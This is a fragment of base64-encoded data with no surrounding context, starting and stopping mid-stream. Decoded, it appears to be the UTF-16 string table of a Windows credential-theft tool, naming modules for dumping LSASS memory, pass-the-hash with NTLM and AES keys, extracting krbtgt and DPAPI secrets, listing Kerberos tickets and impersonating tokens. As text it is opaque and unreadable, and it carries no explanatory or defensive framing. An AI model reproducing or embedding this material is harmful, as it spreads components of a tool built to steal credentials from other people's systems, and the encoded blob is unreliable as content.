AgACUAcwAKAAAAdABlAG0AcAAgAHYAYQB1AGwAdAAAAAAACQBQAGEAdABoACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAWwBVAFMASABPAFIAVABdACAAJQBoAHUAAAAAAFsARABXAE8AUgBEAF0AIAAlAHUAAAAAAFsAUwBUAFIASQBOAEcAXQAgACUAcwAAAFsAQgBZAFQARQAqAF0AIAAAAAAAWwBTAEkARABdACAAAAAAAFsAQQBUAFQAUgBJAEIAVQBUAEUAXQAKAAAAAAAJAAkAIAAgAEYAbABhAGcAcwAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAACQAJACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAACQAJACAAIABWAGEAbAB1AGUAIAAgACAAOgAgAAAAAABbAFQAeQBwAGUAIAAlADIAdQBdACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPABOAFUATABMAD4AAAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAA6ACAAJQBzACAALwAgACUAcwAKAFUAcwBlAHIATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAQwBvAG0AbQBlAG4AdAAgACAAIAAgADoAIAAlAHMACgBUAHkAcABlACAAIAAgACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBQAGUAcgBzAGkAcwB0ACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBGAGwAYQBnAHMAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAIAA6ACAAAAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQB1AAoAAAAgAFsAJQAyAHUAXQAgAEEAdAB0AHIAaQBiAHUAdABlAAoAAAAgACAARgBsAGEAZwBzACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAgACAASwBlAHkAdwBvAHIAZAAgADoAIAAlAHMACgAAACAAIABWAGEAbAB1AGUAIAAgACAAOgAgAAAAAABpAG4AZgBvAHMAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABtAG8AZAB1AGwAZQAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAABGAGkAZQBsAGQAIAA6ACAAJQB1ACAAcgAgAHgAIAAlAHUAIABjAAoATQBpAG4AZQBzACAAOgAgACUAdQAKAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAEMAIAAoAFIAIAA9ACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAUgAKAAAAAAAlAEMAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEIAbwBhAHIAZAAgAGMAbwBwAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAYQBtAGUAIABjAG8AcAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBsAG8AYgBhAGwAIABjAG8AcAB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAUwBlAGEAcgBjAGgAIABpAHMAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAATgBUACAASABlAGEAZABlAHIAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAAUABFAEIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATgBvACAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAaQBuACAAbQBlAG0AbwByAHkAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGUAbABlAG0AZQBuAHQAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABmAGkAcgBzAHQAIABlAGwAZQBtAGUAbgB0AAoAAABsAHMAYQBzAHIAdgAAAAAATHNhSUNhbmNlbE5vdGlmaWNhdGlvbgAATHNhSVJlZ2lzdGVyTm90aWZpY2F0aW9uAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbgB0ADUAXwBpAG4AaQB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAKAAAAAABiAGMAcgB5AHAAdAAAAAAAQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyAEJDcnlwdFNldFByb3BlcnR5AAAAQkNyeXB0R2V0UHJvcGVydHkAAABCQ3J5cHRHZW5lcmF0ZVN5bW1ldHJpY0tleQAAQkNyeXB0RW5jcnlwdAAAAEJDcnlwdERlY3J5cHQAAABCQ3J5cHREZXN0cm95S2V5AAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAAMwBEAEUAUwAAAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBCAEMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQAAAAAATwBiAGoAZQBjAHQATABlAG4AZwB0AGgAAAAAAEEARQBTAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBGAEIAAABtAHMAdgAAAEwAaQBzAHQAcwAgAEwATQAgACYAIABOAFQATABNACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAdwBkAGkAZwBlAHMAdAAAAEwAaQBzAHQAcwAgAFcARABpAGcAZQBzAHQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABMAGkAcwB0AHMAIABLAGUAcgBiAGUAcgBvAHMAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAHQAcwBwAGsAZwAAAEwAaQBzAHQAcwAgAFQAcwBQAGsAZwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAGwAaQB2AGUAcwBzAHAAAABMAGkAcwB0AHMAIABMAGkAdgBlAFMAUwBQACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAcwBzAHAAAABMAGkAcwB0AHMAIABTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAGwAbwBnAG8AbgBQAGEAcwBzAHcAbwByAGQAcwAAAAAATABpAHMAdABzACAAYQBsAGwAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgACAAYwBvAG4AdABlAHgAdAAAAAAAbQBpAG4AaQBkAHUAbQBwAAAAAABTAHcAaQB0AGMAaAAgACgAbwByACAAcgBlAGkAbgBpAHQAKQAgAHQAbwAgAEwAUwBBAFMAUwAgAG0AaQBuAGkAZAB1AG0AcAAgAGMAbwBuAHQAZQB4AHQAAAAAAHAAdABoAAAAUABhAHMAcwAtAHQAaABlAC0AaABhAHMAaAAAAGsAcgBiAHQAZwB0ACEAAABkAHAAYQBwAGkAcwB5AHMAdABlAG0AAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgAHMAZQBjAHIAZQB0AAAAdABpAGMAawBlAHQAcwAAAEwAaQBzAHQAIABLAGUAcgBiAGUAcgBvAHMAIAB0AGkAYwBrAGUAdABzAAAAZQBrAGUAeQBzAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIABLAGUAeQBzAAAATABpAHMAdAAgAEMAYQBjAGgAZQBkACAATQBhAHMAdABlAHIASwBlAHkAcwAAAAAAYwByAGUAZABtAGEAbgAAAEwAaQBzAHQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABNAGEAbgBhAGcAZQByAAAAAABzAGUAawB1AHIAbABzAGEAAAAAAFMAZQBrAHUAcgBMAFMAQQAgAG0AbwBkAHUAbABlAAAAAAAAAFMAbwBtAGUAIABjAG8AbQBtAGEAbgBkAHMAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAuAC4ALgAAAFMAdwBpAHQAYwBoACAAdABvACAAUABSAE8AQwBFAFMAUwAKAAAAAABTAHcAaQB0AGMAaAAgAHQAbwAgAE0ASQBOAEkARABVAE0AUAAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbQBpAG4AaQBkAHUAbQBwACAAOwAgADwAbQBpAG4AaQBkAHUAbQBwAGYAaQBsAGUALgBkAG0AcAA+ACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbQBpAHMAcwBpAG4AZwAKAAAAAAAAAAAATwBwAGUAbgBpAG4AZwAgADoAIAAnACUAcwAnACAAZgBpAGwAZQAgAGYAbwByACAAbQBpAG4AaQBkAHUAbQBwAC4ALgAuAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4ATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAoACUAdQApACAAIQA9ACAATQBJAE0ASQBLAEEAVABaAF8ATgBUAF8ATQBBAEoATwBSAF8AVgBFAFIAUwBJAE8ATgAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4AUAByAG8AYwBlAHMAcwBvAHIAQQByAGMAaABpAHQAZQBjAHQAdQByAGUAIAAoACUAdQApACAAIQA9ACAAUABSAE8AQwBFAFMAUwBPAFIAXwBBAFIAQwBIAEkAVABFAEMAVABVAFIARQBfAEkATgBUAEUATAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIAB3AGkAdABoAG8AdQB0ACAAUwB5AHMAdABlAG0ASQBuAGYAbwBTAHQAcgBlAGEAbQAgACgAPwApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEsAZQB5ACAAaQBtAHAAbwByAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBnAG8AbgAgAGwAaQBzAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AbwBkAHUAbABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AZQBtAG8AcgB5ACAAbwBwAGUAbgBpAG4AZwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASABhAG4AZABsAGUAIABvAG4AIABtAGUAbQBvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AYwBhAGwAIABMAFMAQQAgAGwAaQBiAHIAYQByAHkAIABmAGEAaQBsAGUAZAAKAAAAAAAJACUAcwAgADoACQAAAAAAVQBuAGQAZQBmAGkAbgBlAGQATABvAGcAbwBuAFQAeQBwAGUAAAAAAFUAbgBrAG4AbwB3AG4AIAAhAAAASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAATgBlAHQAdwBvAHIAawAAAEIAYQB0AGMAaAAAAFMAZQByAHYAaQBjAGUAAABQAHIAbwB4AHkAAABVAG4AbABvAGMAawAAAAAATgBlAHQAdwBvAHIAawBDAGwAZQBhAHIAdABlAHgAdAAAAAAATgBlAHcAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABVAG4AbABvAGMAawAAAAAACgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AIABJAGQAIAA6ACAAJQB1ACAAOwAgACUAdQAgACgAJQAwADgAeAA6ACUAMAA4AHgAKQAKAFMAZQBzAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIABmAHIAbwBtACAAJQB1AAoAVQBzAGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoARABvAG0AYQBpAG4AIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoATABvAGcAbwBuACAAUwBlAHIAdgBlAHIAIAAgACAAIAAgACAAOgAgACUAdwBaAAoAAAAAAEwAbwBnAG8AbgAgAFQAaQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAUwBJAEQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAABQAHIAZQB2AGkAbwB1AHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawByAGIAdABnAHQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABmAGkAbgBkACAASwBEAEMAIABwAGEAdAB0AGUAcgBuACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABLAEQAQwAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAKACUAcwAgAGsAcgBiAHQAZwB0ADoAIAAAAAAAJQB1ACAAYwByAGUAZABlAG4AdABpAGEAbABzAAoAAAAJACAAKgAgACUAcwAgADoAIAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAoAAABmAHUAbABsADoAIAAAAAAACgBtAC8AdQAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAE4AbwB0ACAAaQBuAGkAdABpAGEAbABpAHoAZQBkACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABQAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQAIABpAG4AIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAABpAG0AcABlAHIAcwBvAG4AYQB0AGUAAAByAHUAbgAAAHkAZQBzAAAAbgBvAAAAAAB1AHMAZQByAAkAOgAgACUAcwAKAGQAbwBtAGEAaQBuAAkAOgAgACUAcwAKAHAAcgBvAGcAcgBhAG0ACQA6ACAAJQBzAAoAaQBtAHAAZQByAHMALgAJADoAIAAlAHMACgAAAAAAQQBFAFMAMQAyADgACQA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADEAMgA4ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADEAMgA4ACAAawBlAHkAIABvAG4AbAB5ACAAcwB1AHAAcABvAHIAdABlAGQAIABmAHIAbwBtACAAVwBpAG4AZABvAHcAcwAgADgALgAxACAAKABvAHIAIAA3AC8AOAAgAHcAaQB0AGgAIABrAGIAMgA4ADcAMQA5ADkANwApAAoAAABBAEUAUwAyADUANgAJADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADIANQA2ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAA2ADQAIAAoADMAMgAgAGIAeQB0AGUAcwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADIANQA2ACAAawBlAHkAIABvAG4AbAB5ACAAcwB1AHAAcABvAHIAdABlAGQAIABmAHIAbwBtACAAVwBpAG4AZABvAHcAcwAgADgALgAxACAAKABvAHIAIAA3AC8AOAAgAHcAaQB0AGgAIABrAGIAMgA4ADcAMQA5ADkANwApAAoAAABOAFQATABNAAkAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABuAHQAbABtACAAaABhAHMAaAAvAHIAYwA0ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAgACAAfAAgACAAUABJAEQAIAAgACUAdQAKACAAIAB8ACAAIABUAEkARAAgACAAJQB1AAoAAAAAACAAIAB8ACAAIABMAFUASQBEACAAJQB1ACAAOwAgACUAdQAgACgAJQAwADgAeAA6ACUAMAA4AHgAKQAKAAAAAAAgACAAXABfACAAbQBzAHYAMQBfADAAIAAgACAALQAgAAAAAAAgACAAXABfACAAawBlAHIAYgBlAHIAbwBzACAALQAgAAAAAAAqACoAIABUAG8AawBlAG4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuACAAKgAqAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEQAdQBwAGwAaQBjAGEAdABlAFQAbwBrAGUAbgBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABHAGUAdABUAG8AawBlAG4ASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBXAGkAdABoAEwAbwBnAG8AbgBXACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQB0ACAAbABlAGEAcwB0ACAAbwBuAGUAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAbgB0AGwAbQAvAHIAYwA0ACAATwBSACAAYQBlAHMAMQAyADgAIABPAFIAIABhAGUAcwAyADUANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABkAG8AbQBhAGkAbgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdQBzAGUAcgAKAAAAAAAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAAAAAAKAAkAIAAqACAATABNACAAIAAgACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAATgBUAEwATQAgACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAUwBIAEEAMQAgACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAUgBhAHcAIABkAGEAdABhACAAOgAgAAAAAAAKAAkAIAAqACAAUwBtAGEAcgB0AGMAYQByAGQAAAAAAAoACQAgACAAIAAgACAAUABJAE4AIABjAG8AZABlACAAOgAgACUAdwBaAAAAAAAAAAoACQAgACAAIAAgACAAQwBhAHIAZAAgACAAIAAgACAAOgAgACUAcwAKAAkAIAAgACAAIAAgAFIAZQBhAGQAZQByACAAIAAgADoAIAAlAHMACgAJACAAIAAgACAAIABDAG8AbgB0AGEAaQBuAGUAcgA6ACAAJQBzAAoACQAgACAAIAAgACAAUAByAG8AdgBpAGQAZQByACAAOgAgACUAcwAAAAAACQAgACAAIAAlAHMAIAAAADwAbgBvACAAcwBpAHoAZQAsACAAYgB1AGYAZgBlAHIAIABpAHMAIABpAG4AYwBvAHIAcgBlAGMAdAA+AAAAAAAlAHcAWgAJACUAdwBaAAkAAAAAAAoACQAgACoAIABVAHMAZQByAG4AYQBtAGUAIAA6ACAAJQB3AFoACgAJACAAKgAgAEQAbwBtAGEAaQBuACAAIAAgADoAIAAlAHcAWgAKAAkAIAAqACAAUABhAHMAcwB3AG8AcgBkACAAOgAgAAAAAABMAFUASQBEACAASwBPAAoAAAAAAAoACQAgACoAIABSAG8AbwB0AEsAZQB5ACAAIAA6ACAAAAAAAAoACQAgACoAIABEAFAAQQBQAEkAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIAAlADAAOAB4ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAEwAUwBBACAASQBzAG8AbABhAHQAZQBkACAARABhAHQAYQA6ACAAJQAuACoAUwAAAAAACgAJACAAIAAgACAAIABVAG4AawAtAEsAZQB5ACAAIAA6ACAAAAAAAAoACQAgACAAIAAgACAARQBuAGMAcgB5AHAAdABlAGQAOgAgAAAAAAAKAAkACQAgACAAIABTAFMAOgAlAHUALAAgAFQAUwA6ACUAdQAsACAARABTADoAJQB1AAAAAAAAAAoACQAJACAAIAAgADAAOgAwAHgAJQB4ACwAIAAxADoAMAB4ACUAeAAsACAAMgA6ADAAeAAlAHgALAAgADMAOgAwAHgAJQB4ACwAIAA0ADoAMAB4ACUAeAAsACAARQA6AAAAAAAsACAANQA6ADAAeAAlAHgAAAAAAAoACQAgAFsAJQAwADgAeABdAAAAZABwAGEAcABpAHMAcgB2AC4AZABsAGwAAAAAAAkAIABbACUAMAA4AHgAXQAKAAkAIAAqACAARwBVAEkARAAgACAAIAAgACAAIAA6AAkAAAAKAAkAIAAqACAAVABpAG0AZQAgACAAIAAgACAAIAA6AAkAAAAKAAkAIAAqACAATQBhAHMAdABlAHIASwBlAHkAIAA6AAkAAAAKAAkAIAAqACAAcwBoAGEAMQAoAGsAZQB5ACkAIAA6AAkAAAAKAAkASwBPAAAAAABrAGUAcgBiAGUAcgBvAHMALgBkAGwAbAAAAAAAVABpAGMAawBlAHQAIABHAHIAYQBuAHQAaQBuAGcAIABTAGUA